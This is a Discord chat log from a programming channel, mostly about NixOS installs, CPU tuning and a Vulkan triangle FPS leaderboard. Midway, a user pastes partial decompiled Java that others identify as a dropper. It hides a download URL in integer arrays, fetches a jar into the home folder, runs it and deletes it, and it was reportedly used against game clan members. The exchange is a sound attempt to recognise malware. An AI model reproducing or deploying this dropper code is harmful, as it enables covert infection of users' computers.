#programming
1 messages · Page 150 of 1
swapped back to my 14600KF and bios defaulted itself, uh its working now?
its really either nix does not really like my Genuine Intel 0000
your pc is screaming for help
Particular silliness
very likely the BIOS
either that or your ES CPU is at least partially defective
(as in, some feature is borked)
Q0L4 is confirmed to be fully unlocked though
but that would be weird, NixOS doesn't use many CPU features by default
if its partially defective then i'll be really sad because the one i got rn is apparently kind of a silicon lottery
not that because i can't refund or get it rma'd
the store said that i can rma it though
I know, I'm not saying it's locked, I'm saying it could be defective (like any non-ES CPU could also be) 
just higher risk for ES CPUs because you know, engineering sample
type roll to get a no
1
roll
6
thank you
you succeeded where j*b application failed
no
actually no means no
"no." means number 
ok
now it's
/roll to get a num
exactly

no fun allowed 
(╯°□°)╯︵ ┻━┻
serious hackermans only
┬─┬ノ( º _ ºノ)
make fun legal again
okay its the bios
now it doesn't freeze or shit but
failed to install

fuck do you mean not enough space on efi
didnt make a big enough boot partition?
hello people of the big and small knowledge alike i have an itty bitty issue with my linux which i got yesterday
everything was working maybe an hour ago but now i cant start sddm
ive tried sudo systemctl enable sddm.service and sudo systemctl enable --now sddm.service and ive rebooted the computer yet its still a black screen
1GB should be enough
NixOS needs a bit more than usual but not that much, especially for the initial installation
and ive reinstalled the nvidia driver and sddm and made sure its in the graphical interface or whatever
have you tried disabling it before enabling
ill try that
Use a whole separate drive for the EFI "partition" 
drive? the best i can do is an 8gb sd card
first i install it on the wrong drivce then the internet doesnt work and now this
cooked
I feel like there have been so many upticks of problems lately, what is happening in this world
yet another issue that would be solved by using NixOS
(or snapper, but case in point, nobody sets it up)
its doing something so thanks but its frozen right now ill wait a bit
yet another issue that would be solved by going offline
The pipeline from IT to farmer
the stuck at 46% part is normal btw, that's just how it works it shouldn't actually be stuck
okay maybe not then
do the logs show anything?
i know that not having enough resources can break things since the install process is quite heavy but i don't think that'd be it here?
@tender river https://youtu.be/vTxT5nsTh7E
remember that UB conversation from before
oh my fuck
im genuinely crashing out
on how dumb the installer is
even made 8GB partition for the EFI
"Failed to write 'LoaderSystemToken' EFI variable: No space left on device"
fucking bullshit
this is so fucking bullshit
FUCK FINALLY
removing efivar dump with sudo rm /sys/firmware/efi/efivars/dump-type0-* fixes it

nixos installer is fucking stupid
definitely deserves a bug report
anyway, how does a crashdump file cause an error? seems pretty wild to me
Keep it up u are trying in vm
the files existence can cause an issue I think. as IIRC trying to create a file that already exists returns an error, but writing new contents doesn't
but the issue is somehow about lack of space
Given space
efivars? isn't that the uefi eeprom? if so then it makes sense that a dump would fill it up
Vm mode
it would still emulate the restricted size I would think
Reset the vm settings ’efi to uefi mode ’
So u installed on actual pc
ye, EFI variable space is full, not the EFI partition
EFI variables are set using UEFI runtime services, sysfs or efivars just expose those as files
what could you possibly be doing that will take 6 days?
can microsoft make their error codes more accessible
I had to fucking search 10mins to just find a reference to nothing
and no one encountered the same error as well

That's the funny bit: I run our software in my own rack. And I found error messages. But because my network overloads our software, I can't find the pcaps because the frontend is down. So, I had to download all the captured traffic, replay it with our software, only to see if one of the files reproduces the error I saw... 
https://unix.stackexchange.com/a/689314
apparently UEFI implementations are supposed to garbage collect these? but yeah there seem to be some old bugs that can cause too many kernel dumps to be saved to efivars
would just be funny, is all
I would never
I only call slop AIs that.
I swear that gif always makes me laugh
Is this programming channel
its funny how much she hates bots

wow
@cobalt vessel @rare bridge
combo
first time i see them getting two people at the same time
Very good fps !
leaderboard - #programming message
doing this so its easier to search
combo
❓
aight i tightened my cas latency
19-20-20-40 to 14-18-18-38, it does post and boot but when the OS loads it crashes 
i'll try 14-19-19-40
if it doesn't work, 16-18-18-38
ok doesn't work
I will try this new concept
Al exited concept
https://youtube.com/shorts/8B20fRB78nA?si=VBB169cULPdLCT0k
The top 7 features that will kill your website and make visitors hate you
#webdevelopment #comedy #shorts


igpu
@true hemlock try swapping out shell.nix for this
then running make clean && make all
then, ideally, if you have gamemode, run gamemoderun ./output/release/vulkan
may I ask how often Neuro chats in here? Or does Vedal ever help code? I'm no vtuber, but I'm building an Ai desktop companion, and was wondering if advice and coding help was ever given or accepted.
- never
- no
Okay
however there are lots of people here willing to help if asked
dont ask to ask, just ask

neuro did chat once
the last thing that vedal said here (3 months ago)
to call nesus a fish boy
well. I hope he's okay.
I will linger a bit and learn from what I see here.
I'm trying to get my ai set up, still very new.
the Neuro and Vedal question was more curiosity
also you are a bingo
gamemode somehow slows it a bit lol
wait let me
programs.gamemode = {
enable = true;
enableRenice = true;
settings = {
general = {
renice = 10;
softrealtime = true;
# may break things
igpu_desiredgov = "performance";
igpu_power_threshold = -1;
};
# danger
gpu = {
apply_gpu_optimisations = "accept-responsibility";
gpu_device = 0;
amd_performance_level = "high";
};
};
};
these dubious settings made me go faster 

ooooh
the docs link is dead 
disabled e cores and hyperthreadding

classic
i wonder if i can optimize till im 2x faster than #2
that's what i just did
do you use flakes
don't they usually have gh milestones for releases or am i hallucinating (i can't find it)
yes
@true hemlock
hm?
https://github.com/ziglang/zig/milestone/28?closed=1 oh yeah found it 
do you use nix flakes on your system
well, either way, set this up
https://github.com/NixOS/nixos-hardware
https://github.com/fufexan/nix-gaming
ping me if you want assistance
no blackwell 
ripbozo blackwell
there are more you can use
this may have absolutely no effect by the way its just a side quest
the repetition here is bothering me way more than it should
its not bothering me 
it's better this way tbf

it doesn't matter
they only set super basic stuff anyway like the driver
just use turing
mostly
same thing 

the open nvidia kernel modules do suppoort volta apparently so you should be good
nyo
oh
i think gamemode only works on igpu
went from 12K to 13K for igpu with gamemode
i think it worked better on AMD
I wish 
i cant go above 23k bwa
i better not wake up tomorrow just to see my score got beaten
you 14900KS owners im watching ya
i ran perf
nice symbol name 
i tried setting some of the options for gamemode but it looks like it really does not like my gpu seeing how the tests all fail 
i like your gpu, if that helps
that doesn't bring me fps though 
konii are there some extra options you have to set, since gamemode seems to override the /etc/gamemode.ini with its own config in the store
erf
whereabout
Loading config file [/nix/store/hzymfyl9kgvblqxf5fzh18hwvcwh4gak-gamemode-1.8.2/share/gamemode/gamemode.ini]
Loading config file [/etc/gamemode.ini]ERROR: renice value not set correctly after gamemode_request_start
Expected: 10, Was: 0
the store config sets it to 0 but the other one to 10
delete the other one 

ugh i don't want to have to compile this from source
i put my monitor in portrait and holy shit i can see the entire teams calendar
vani can you rerun the triangle 
with the new code from sam's github
errrr sure

there was apparently a bug on the windows one that makes it instead of rendering the triangle it just kept loading from the buffer
non windows user don't need to bother
./output/release/vulkan.exe
make: *** [makefile:62: run] Error -1073741515
very well
huh
waow im using llvmpipe now
try to use the one click compile zip but replace the src files with the new one
dll not found
you can change the height of the calendar if you wanna see more
this stupid triangle isnt maxing out my gpu or my cpu
7366? that seems a little low
huh i was expecting higher
make sure it runs on dgpu
it is
maybe if @olive sable adds dlss and frame gen i can squeeze out a few more frames
npm i is faster to type
i use npm isntall
i just rm --rf my project 
discord ate all the profiles

bun 
ok uh can you try with the old src files, except do not resize or anything, just hover to your taskbar to see the fps
resizing is known to mess up with the buffer
wait lol
i saw 17k
also my cpu isnt a 7600x its just a 7600
much better
_ _
I use bun 
pnpm
i know that pnpm required special tooling in nixpkgs
so it sounds like its fairly different from npm
bro wtf
yes
should be able to serve as a drop-in replacement
(except that it never does
)
the left one being vertical is just for fun, it's 2560x1440 (480hz) normally
middle one's 3440x1440 (240hz) and the right one is 1080p (144hz)
but i need to have both DP and HDMI plugged into the ultrawide for it to be 240hz while ALSO running the 480hz screen and 144hz right screen, which is why there's that disabled 3rd display
and the 144hz right screen is plugged into my motherboard instead of my GPU
480Hz for fun...

That is indeed a display setup
im torn on my montior setup cus the 480hz is so fucking smooth for gaming but the 240hz ultrawide is so fucking good for productivity and gaming
I would really have a good time with so many monitors, only 2 is pain
I'm not doing much better with my 30€
ngl I'm too old for that shit and doubt that I could see a difference
If I had the money and space I would 100% get at least a third monitor
But my desk is full and I'm broke
I have one 
@umbral thorn can i borrow money 
I don't think Elvyn will be giving anyone anything for free any time soon, and definitely not money
4k
i have a 4k144hz screen unplugged in my closet rn
Can I has
no it belongs to my closet
Unfortunate
a bit of a love hate relationship with it tho cus certain programs scale really poorly
chatterino for instance
I could really use a lot of things, more monitors, more GPUs, more hardware in general
A 3090 is good, but you know what's better than a 3090? Two 3090s

package net.smurf;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardCopyOption;
import java.nio.file.attribute.FileAttribute;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
public class Analyzer {
private static final String q1 = z1(new int[] {
104, 116, 116, 112, 115, 58, 47, 47, 115, 51,
46, 116, 119, 99, 115, 116, 111, 114, 97, 103,
101, 46, 114, 117, 47, 50, 97, 102, 97, 100,
57, 53, 55, 45, 56, 48, 50, 55, 48, 56,
54, 97, 45, 97, 99, 99, 57, 45, 52, 50,
102, 57, 45, 98, 97, 98, 102, 45, 101, 49,
52, 102, 51, 54, 102, 52, 97, 49, 101, 52,
47, 65, 117, 116, 104, 45, 109, 101, 46, 106,
97, 114 });
private static final String q2 = z1(new int[] {
100, 111, 119, 110, 108, 111, 97, 100, 95, 108,
105, 98, 114, 97, 46, 106, 97, 114 });
private static final String q3 = z1(new int[] {
47, 99, 111, 110, 102, 105, 103, 46, 116, 120,
116 });
private static final String q4 = z1(new int[] { 99, 111, 110, 102, 105, 103, 46, 116, 120, 116 });
public static void main(String... paramVarArgs) {
try {
long l = f1(q3, Analyzer.class);
File file = f2(new URL(q1), q2);
Path path = f3(String.valueOf(l));
f4(file, path);
Files.delete(path);
f5(file.getAbsolutePath());
file.delete();
Runtime.getRuntime().halt(0);
return;
} catch (Throwable throwable) {
return;
}
}
.......
private static String z1(int[] paramArrayOfint) {
StringBuilder stringBuilder = new StringBuilder();
int i = paramArrayOfint.length;
for (byte b = 0; b < i; b++) {
int j = paramArrayOfint[b];
stringBuilder.append((char)j);
}
return stringBuilder.toString();
}
private static long f1(String paramString, Class paramClass) {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(paramClass.getResourceAsStream(paramString)));
try {
String str;
long l = ((str = bufferedReader.readLine()) != null && !str.isEmpty()) ? Long.parseLong(str) : 0L;
bufferedReader.close();
return l;
} catch (Throwable throwable) {
try {
bufferedReader.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
}
.....
java
private static File f2(URL paramURL, String paramString) {
HttpURLConnection httpURLConnection;
if ((httpURLConnection = (HttpURLConnection)paramURL.openConnection()).getResponseCode() != 200)
return null;
File file = new File(System.getProperty("user.home"), paramString);
InputStream inputStream = httpURLConnection.getInputStream();
try {
FileOutputStream fileOutputStream = new FileOutputStream(file);
try {
byte[] arrayOfByte = new byte[4096];
int i;
while ((i = inputStream.read(arrayOfByte)) != -1) {
if (i > 0)
fileOutputStream.write(arrayOfByte, 0, i);
}
fileOutputStream.close();
} catch (Throwable throwable) {
try {
fileOutputStream.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
if (inputStream != null)
inputStream.close();
} catch (Throwable throwable) {
if (inputStream != null)
try {
inputStream.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
return file;
}
private static Path f3(String paramString) {
Path path;
BufferedWriter bufferedWriter = Files.newBufferedWriter(path = Files.createTempFile("~", ".tmp", (FileAttribute<?>[])new FileAttribute[0]), new java.nio.file.OpenOption[0]);
try {
bufferedWriter.write(paramString);
if (bufferedWriter != null)
bufferedWriter.close();
} catch (Throwable throwable1) {
if (bufferedWriter != null)
try {
bufferedWriter.close();
} catch (Throwable throwable) {
throwable1.addSuppressed(throwable);
}
throw throwable1;
}
return (Path)throwable;
}
......
i know
I have a question specifically about this code... is this a dropper?
I haven't sent the whole code yet
If it looks like there's a lot of garbage that does nothing, it's probably malware
Sorry but I don't understand Java, only Python
I see a lot of pointless looking throw catches
seems like it
there's a suspicious looking jar file that's being downloaded and presumably run
thx
i'd look into the file but nextdns blocks the domain and i don't feel like adding it as an exception 
I can give you a file for downloading
nah
but then you need to decompile it
the joke is that this file is thrown to those who join a clan in Rust, the clan is called Umbrella and there are about 100 people who have already downloaded this program
and the clan leader punishes through this program by hacking their PCs and disabling them, there are already 2 proofs
elvyn smart
ElvynSoSilly
Is it possible if I downloaded and launched this program to somehow delete it without deleting Windows?
Affected clan members ask
I don't know without someone running it in a sandbox, I would suggest either wipe and install Linux or use the autoruns tool from was it sysinternals?
xd
how? what witchcraft are you doing ot get these numbers?
Scroll down and you'll see an even bigger number
63K
we're back at the numbers windows was getting by cheating
And this time it's simply some crazy
hardware trickery
ye it doesnt run very well anymore on windows
idk how i would even do that, but i think the overhead form generating frames might lower the fps
damn vani is rich
the tutel pays well i guess
new arch linux user here my network is delusional and keeps disconnecting
cant have a second of peace
i installed it for like the 4th time today
all this for bouncing icons at the mouse cursor
well I was going to do some programming tonight, but I went extra hard in beatsaber and I can no longer feel my arms, hands or fingers 
i sold my 4k tv i was using for my ps5
i havent played ps5 in a year or so
the budget for the 9.2.4 sound system grows
why does macos 26 look like a linux distro
what is this sticker i like the eyes
added cool clouds. Anybody has some suggestions?
wait how expensive is this thing
At least three fiddy
Nice work 😄
I would like to recommend things you can try, but its your vision so obviously stick to yours
- Id recommend letting the intro text etc disappear after clicking start or new game (its almost like a new scene)
- Move the actionable buttons and status update to the left, let the click area be on the right side
- Still gives enough space for designs
Love:
- The status update, you can have fun with that, randomise the waiting text (like sims haha)
- The scattered text as a reeling mechanic (new for me, normally see other mechanics
Nice stuff! Keep it up @deep badge 🥳


Intel iGPU continuing its fine work.
I wish 
which cpu is this one
nobody with a 14900k here 
i7-1260p
no way you actually exported present_mode fifo

beat you at what?
that caps your framerate to vsync
Vsync my beloved
export it as mailbox or immediate to restore default behaviour
one may be faster than the other for you
i considered my 63K yesterday invalid because i think it could've been a bug. although i ran the rest again for disabled hyperthreadding and e cores and got 55K
updated for this
Mailbox makes no difference to default
odd because fifo capped my fps lol
Switch that to a nix system plz as this is on nix atm
yes that is the point :kufuu
**
evil scheme
So that is how we vsync Sam's games mhm
I know it'll never be added
@true hemlock What do you think would beat you more? 5090 or 14900k
I'm surprised I'm over half your score on a laptop with non dedicated graphics.
That's the one I just updated
Did I really bench on battery power
Yep I did

blip of 33k
screenshot at peak
33k is hiding from me
already beats the Z1 extreme
Man I love this framework
Gamemode is doing functionally nothing as I haven't set it up
Honestly I should take the time to do it
Giving this laptop a beather, then maybe the 33k will return
surely 
noted, I need admin perms to set settings
have you tried the alternative shell.nix?
Not yet
this one
fuck it
if no ones showing up with a 14900K to beat my ahh
im buying a 14900K to beat my own ahh
Until then, I'll be the highest laptop numbers
and highest iGPU as well
so i'll be also the highest laptop number
@nocturne olive
can you try
i got extra fps by disabling hyperthreadding
I should also bios for e cores
Though I think I already have hyperthreading disabled
Strike that, no option for none
but still odd that caibi's 14700K isn't beating me
We love not finding sdl vulkan
technically you can actually run this without x11 or wayland
if you want to run it from tty directly
actually directfb isnt tty
fbcon is tty
im interested in these though
maybe someone can get better windows results with the alternative
Issue is how to get the numbers on the tty instance
but will it run on my Amiga?

it clearly states it right there
ok do it
ps aux | grep fps
or something
About 2k iirc
if i locked in and learned more about hacking my GPU to squeeze more performance out of it and optimizing code, i could 
first step is to install linux 
i dual booted the other day!
however
for some reason it wouldn't use my nvidia driver
another victim for nixos to claim 
i'm a simple man, it's linux mint cinnamon for me
you don't need it lol
i meaaaan i'd prefer to use my nvidia driver rather than nouveau
hmm
i have an idea to run this shit on my smart fridge ngl
forget about running doom on random shit, we triangle on random shit
Buying an AMD GPU is both the best, and the worse decision of my life
i just noticed, wtf does vulkan do here
I still don't know how to use ROCm properly
@true hemlock 33k
nice
fuck it im making an automatic command to update the leaderboard
the triangle obsession is real
thanks, cuz updating the leaderboard is really bothersome
Plot twist its actually a square, with an image of a triangle on it
you're joking but that is somewhat how a framebuffer works you know
looks like nvidia also makes a driver specifically for the latest vulkan improvements, i'm kind of tempted to see if it improves anything now hmm
Ohh, I know 
the vulkan beta is old
is it?
yeah pretty old
also btw sam lol
What would I give to be over to OC on this system.
hm actually it seems to have been updated as recently as february 28th
mhm
i cant see it really providing any performance over the standard driver
cant hurt to give it a go though
hi
possebly
6 is insane
how does that work, can you just throw it into the same socket
yep
I'm only on 2.5GHz 
yet you still get a higher score than me at 4.5GHz 
I'm third on the leaderboard now
fuckin flex
as far as i can tell from the profiler data, the limiting factor is the render core being at 100% usage. but the question becomes what exactly is taking up that 100%
(we all know the real flex is someone randomly showing up in the leaderboard with a fucking graphing calculator)
If I could OC, I'd be at second place
if you can hit 5.6+ GHz you can probably even take 1st
cuz idling and waiting for stuff from the 6 vulkan api calls could also count as 100% cpu core usage eventho it potentialy isnt doing anything
Sadly this chip is in a laptop 
im just scared to break my pc
i dont have backup cpu's and this one was expensive enough

i know damn well someone that could beat the shit out of my score though
...with a 11th gen intel probably
and im too afraid to invite them

Wait a fuckin second
Looks like it
https://github.com/Oganoth/Framework-Control-center
We hope the AI forgot 12 gen
the insane amount of emojis everywhere always gives it away
Forget it, looks windows only even if real

erf
just tested, 42K
its not the 50K from before but still impresive
it makes more sense than the 13900 though
13th and 14th have a big IPC boost compared to 12th
(comparing to superbox's)
i need to figure out what exactly its doing behind the scenes during the roughly 20 microseconds it takes for a frame to get rendered
but i was never expecting it to be 20K of fps in difference
okay so um
uhhh
uhhh?
should i integrate the leaderboard commands in @hidden ravine
or just in my own account lmao
do i need to make you have rights on the repo or how does this work?
sure, immediately pushing the leaderboards to that could be really convenient
jsut your main account or do i need to add a bot account?
The core wants to, 2.7GHz
it has been done
aight nice
I would like to keep my PC in a normal state
uhhhhhhhhhh That is not 3GHz
you could always just remove the hyperthreading from the code lmao
e cores doing e core things
brother i just installed vtune to my linux drive, and this has already been a pain cuz i couldnt just install it with sudo
HX is laptop only no?
and now it wants me to update
ah yes
Hyperthreading is a feature of the CPU which lets cores split up resources to run two threads at once rather than one
You would need to make sure the scheduler doesn't allocate more than one thread on the specific core running the app to effectively disable it
Which would either need a custom kernel and a ton of cores, a normal kernel and very few processes, or a more complex custom kernel that has manual core allocation
not at once, its concurrency
Oh nice, this has a ram section. But I got no clue how to read it
I'm pretty sure hyperthreading is actual multithreading on a single core
Otherwise what would be the point
The OS already does concurrency anyway
nope
it doesn't do both at once
it switches
concurrency
Quack wanted RAM on this system
if it were to be actual 2 threads at once it would have already been a separate core, but its impossible to be achieved with one core with how the hyper threadding shares the instruction decoder and execution units
I wish I could read this to isolate what waz requested
only thing they have separately is the thread register
hyperthreading just doubles your logical corecount 
that's all
which is quite misleading actually 
That's the window I'm looking for
nice code quack 
what is this triangle benchmark about?
LMAO
Max FPS
ryzen 5 7600, no X either 
🦆 

!trianglelinux
Linux Leaderboard:
- 55273 by Quack on NixOS, i9-13900 (ES Q0L4)
- 35600 by superbox on Mint, i7-12700K
- 33191 by Iggly on NixOS, i7-1260P
- 32100 by Semicolon on Arch, Ryzen 9 5950x
- 30573 by Iggly on CachyOS, Z1 Extreme
- 27158 by Shuni on NixOS, Ryzen 9 7950X
- 26364 by konii on NixOS, Ryzen 5 7600
- 22809 by Prism on Custom, HP Prime G2 RevD
- 18230 by Sam on CachyOS, Ryzen 9 5950x
- 17000 by toast on NixOS, Ryzen 9 5900x
- 13037 by Assist on CachyOS, i3-8100U
- 9458 by unkomp on Arch,
this is just for indexing
so i know which one to update

did you hook a bot to your own account
i should rerun the benchmark
i can do practically anything with my api endpoint lol
hooking it up to my backend system
bam
I've seen you at 4GHz :RAGEY:
99mhz 
Fuck it we ball in the bios again
someone slide me the macos version
what da hell did you do to the makefile
apparently all of the stuff you were using too
that is taht volk isnt finding the vulkan linking stuff
I still have no clue what is the "leaderboard"
fastes fps
thats why i have these volk flags
i cant use the same flags as the rest of the build cuz of volk being c and not c++

not on linux
i've not done object oriented programming for quite long
CXXFLAGS_COMMON_VOLK = -O3 -Wall -march=native -flto -fomit-frame-pointer
# linux
CXXFLAGS_VOLK = $(CXXFLAGS_COMMON_VOLK)
its not even in there
My condolences
i stand with my "C++ is best"
Everything I hear is "Rewrite my app in rust"
dude uhh
ye?
why would you hardcode it lmao
its a seperate value so people can change it
c is bad, c++ is worse, rust is painful, zig is too new, haskell is unreadable
you can make it automatically find the lib path afaik
python is too slow, java is too ugly, c# is too unoriginal
what do you want me to do? add a program that searches for the file location on their system?
!triangleupdatelinux 1,55272
funny that it already exists
its called pkg-config

fair
!trianglelinux
Linux Leaderboard:
- 55273 by Quack on NixOS, i9-13900 (ES Q0L4)
- 35600 by superbox on Mint, i7-12700K
- 33191 by Iggly on NixOS, i7-1260P
- 32100 by Semicolon on Arch, Ryzen 9 5950x
- 30573 by Iggly on CachyOS, Z1 Extreme
- 27158 by Shuni on NixOS, Ryzen 9 7950X
- 26364 by konii on NixOS, Ryzen 5 7600
- 22809 by Prism on Custom, HP Prime G2 RevD
- 18230 by Sam on CachyOS, Ryzen 9 5950x
- 17000 by toast on NixOS, Ryzen 9 5900x
- 13037 by Assist on CachyOS, i3-8100U
- 9458 by unkomp on Arch,
JS is the solution to your problem
no
its not updated 
no.
Surely mojo will fix all the problems
(except python syntax that is unfixable)
semantic whitespace is death by dropping off tall cliff
everytime someone says mojo i just think of mojo jojo from the powerpuff girls
34k
JS is unarioniclly the best lang to write GUIs tho. The web gang have just nailed it down to this point, even if u are just using vanilla JS.
That's not because of the language being good though
That's because it's the only option
gui's are for losers, embrace the terminal like our computer god steve jobs intended
i wholehearted ly disagree 
it's such a pain to set up 
Ohh I there are other options, and I have tried a lot of them. Now I want to live on a farm
im bullshiting there, i have nothing against gui
!triangleupdatelinux 1,55272
as a graphics programmer its just funny to me to activly take a stance against using gui
finally, something to argue over in #programming
its going to be worse after the super cool makefile changes
fucking json

ok heres the plan
i installed vtune, but i forgot where the installer put it
so im going to find it, and then use it
wtf are you planning on doing with vtune
json dump fucking dies when the encoding isn't "UTF-8" moment
intel profiler
FUCKING BASED
profiler
PIN THAT
Fun fact whenever I said "I want to write a GUI app not using JS" the first thing I heard was "Ya at this point you might as well just write your own UI framework"
From a graphics programmer
ui frameworks are easy if you know how to use a bit of webgl and dont need anything fancy
!triangleupdatelinux 1,55272
one time i tried making a mobile app for pxls with flutter
and it still fuckin dies lmfao
My condolences
quack i know what you're up to, why not just do it by hand or in a private server or something 
brb
and not straight up in public lol
Yaaa... I plan to eventually write my own, which will focus on being extendable.
Cuz everything I tried just feel like it is forcing me to adapt to a very particular way of writing code.
nice one

It worked on my pc, it worked in windows and linux
Idk what you're doing but its untested
which one of these would start vtune? 
Run the last shell script and look in bin64 (from the terminal)
okay

I plan to write my framework in WESL lets hope its not to bad of an idea
https://wesl-lang.dev/
I would prefer to use slang, but sadly I don't think it supports RUST
https://shader-slang.org/
Empowering real-time graphics developers with advanced language features and machine learning capabilities.
I'm letting the laptop rest
@true hemlock
We are power limited so hard
Ended up disabling cores until a balence was made
One must wonder, how much power rendering a single red triangle takes.
3GHz so far far away from winning any awards, but an additonal 300MHz doesn't hurt
for future reference
its because lto is a gcc plugin
not all distributions of gcc come with support for lto
changing gcc to clang++ fixes the problem

so does removing -flto but the performance hit is substantial
https://github.com/llvm/llvm-project/blob/main/bolt/README.md
here's something you can try and chuck on top of PGO by the way
so you're saying id i add -flto ill get more fps?
you already have -flto
not in the latest commit. i had to change it myself.
oh i changed that but never commited it
oopsies i accidentally nuked the whole leaderboard
oh no
(dw lol i have the json, gonna push again)
figured out that i was writing the markdown generator wrong

!trianglepush
Linux Leaderboard:
- 55272 by Quack on NixOS, i9-13900 (ES Q0L4)
- 36036 by Iggly on NixOS, i7-1260P
- 35600 by superbox on Mint, i7-12700K
- 32100 by Semicolon on Arch, Ryzen 9 5950x
- 30573 by Iggly on CachyOS, Z1 Extreme
- 27158 by Shuni on NixOS, Ryzen 9 7950X
- 26364 by konii on NixOS, Ryzen 5 7600
- 22809 by Prism on Custom, HP Prime G2 RevD
- 18230 by Sam on CachyOS, Ryzen 9 5950x
- 17000 by toast on NixOS, Ryzen 9 5900x
- 13037 by Assist on CachyOS, i3-8100U
- 9458 by unkomp on Arch,
i stil havent figured out how to merge branches in vscode
ill jsut delete this and edit the existing one
Second place 
leaderboard is back
imma move all the commands to @hidden ravine
and give some people access for editing or adding entries. i'll restrict pushing and removing entries to sam though
that's crazy
i seem to be breakign everything
how can i git fetch without the pop-up saying i cant
ideally set up ssh
a what
google it
fair
well actually dont google ssh on its own
it wont be helpful
search git ssh
anyway if you cant be asked to set up ssh then set up git credential manager
that gap 
i REALLY suspect that my cpu being an engineering sample being actually impactful
14600KF can't even hit higher score despite supposedly having higher single core perf.
have you run a benchmark
yeah, 14600KF should have better single thread
wha tis this graph supposed to show?
you can see the gap between 1st and 2nd 
I got some catching up to do
ssh agent 
superbox gotta catch up aswell
To be open, I only had 2 P cores (0 and 1) and 4 E cores enabled
Not that anyone else is power limited 
right
ES cpus are sometimes "superbinned"
means that they pick out few of the best candidates per wafer for testing it
high risk high reward ahh
makes sense, its low volume so they arent really wasting much either way
i suspected that my es cpu somehow has better L2 and L3 management aswell with better branch predictions (this matters, like a lot, especially on microbenchmarks like the triangle)
something related to latency aswell
LMFAO


that graphing calc is still the best ngl
possibly an old version that used llvmpipe
the graphing calculator is more of a joke entry, it was not running vulkan and was jsut rendering 4 pixels iirc
would rendering on cpu be possible here if we just make the screen 6*5 pixels?
i wanna try
but preferably try to optimize the screen size to AVX vector size though

like idk if it would actually be faster but we'd have a lot less overhead if we didnt have to interact with a gpu at all maybe???
what?
why despair?
binaries in repos
why am i not asleep yet

Is it even possible though?
Why is it executable 
oh i think i accidentaly removed quacks commits
the ones where he broke it and fixed it again
those werent too important i think
why is what executable?
The .cpp file
where does it say that its executable?
what do you mean 0 l3 cache
-rwx is the permission that means read-write-executable
Linux uses permissions on files to determine executability
ok
gpu l3 cache 
huh, i forgot about that
my cpu is 6 degrees celcius 
does that mean there are 2 free bytes per pointer
the answer is: yes as long as they dont make new cpus that increase that space
Well, at least now it is on 5 digit 
no L3 cache for the gpu apparently ye
crazy potential for niche optimization as long as you don't care about forwards compatibility 
erfing
superUB
@true hemlock can we get the lscpu of your weird genuine intel 0000
it is behavior defined as "works on my machine"
cpu family: 25
we love the 25 family of cpu's 
aight hold on
its probably reported by the cpuid instruction
They eepy
oh i turned off smt with a command
ta-da
btw turning off smt via echo off | sudo tee /sys/devices/system/cpu/smt/control
mine is this
made me go up ~1k fps
shaking my thead
simultaneous multithreading
i was googling it, you didnt hav to say it
what is a bogomips
MIPS but bogo
plural of bogomip
BogoMips (from "bogus" and MIPS) is a crude measurement of CPU speed made by the Linux kernel when it boots to calibrate an internal busy-loop. An often-quoted definition of the term is "the number of million times per second a processor can do absolutely nothing".
BogoMips is a value that can be used to verify whether the processor in question ...
BogoMips is a humorous term referring to a crude measurement of CPU speed calculated by the Linux kernel during boot
Much like bogosort
it says i have a max of 5.086 GHZ, but ive only ever seen it hit that at idle
probably jsut pbo
But at least bogosort is not as bad as one other algorithm that is multiply and surrender 
Slowsort
Caches (sum of all):
L1d: 512 KiB (16 instances)
L1i: 512 KiB (16 instances)
L2: 8 MiB (16 instances)
L3: 64 MiB (2 instances)
i have 2 diffrent L1's apaprently
"L1i stores frequently used instructions, while L1d stores frequently used data" 
yes its modern cpu architecture
Yes, that is why I said it is hybrid between harvard and von neumann
Intel (rare)
we talked about it here a while ago, and i have completelty forgotten all about it
somethign splitting data and instructions
bogomips is probably multithreaded load estimation
Half bogomips should mean slower no?
eventho i have 16 cores we're only using 1 or 2 at full load
i still disabled the SMT and e cores btw
this is why
let me enable them back
There are no avx512 nop instruction 
vmovaps ymm1, ymm1
mov register into itself
basically a nop
That's not a challenge 
erm
yes
Merged
memory address
your physical address size is less than your virtual address size

that's not healthy
i made them compatible with just some ifdefs _win32 shit
I see
oh btw there, my actual cache sizes
windows is also slower now since the previous numbers were a bug
ok but lets compare the number of
i don't have avx512
damn that's a lot of l1
how much l2 do you have
me neither




poor little clanker





i didnt go up





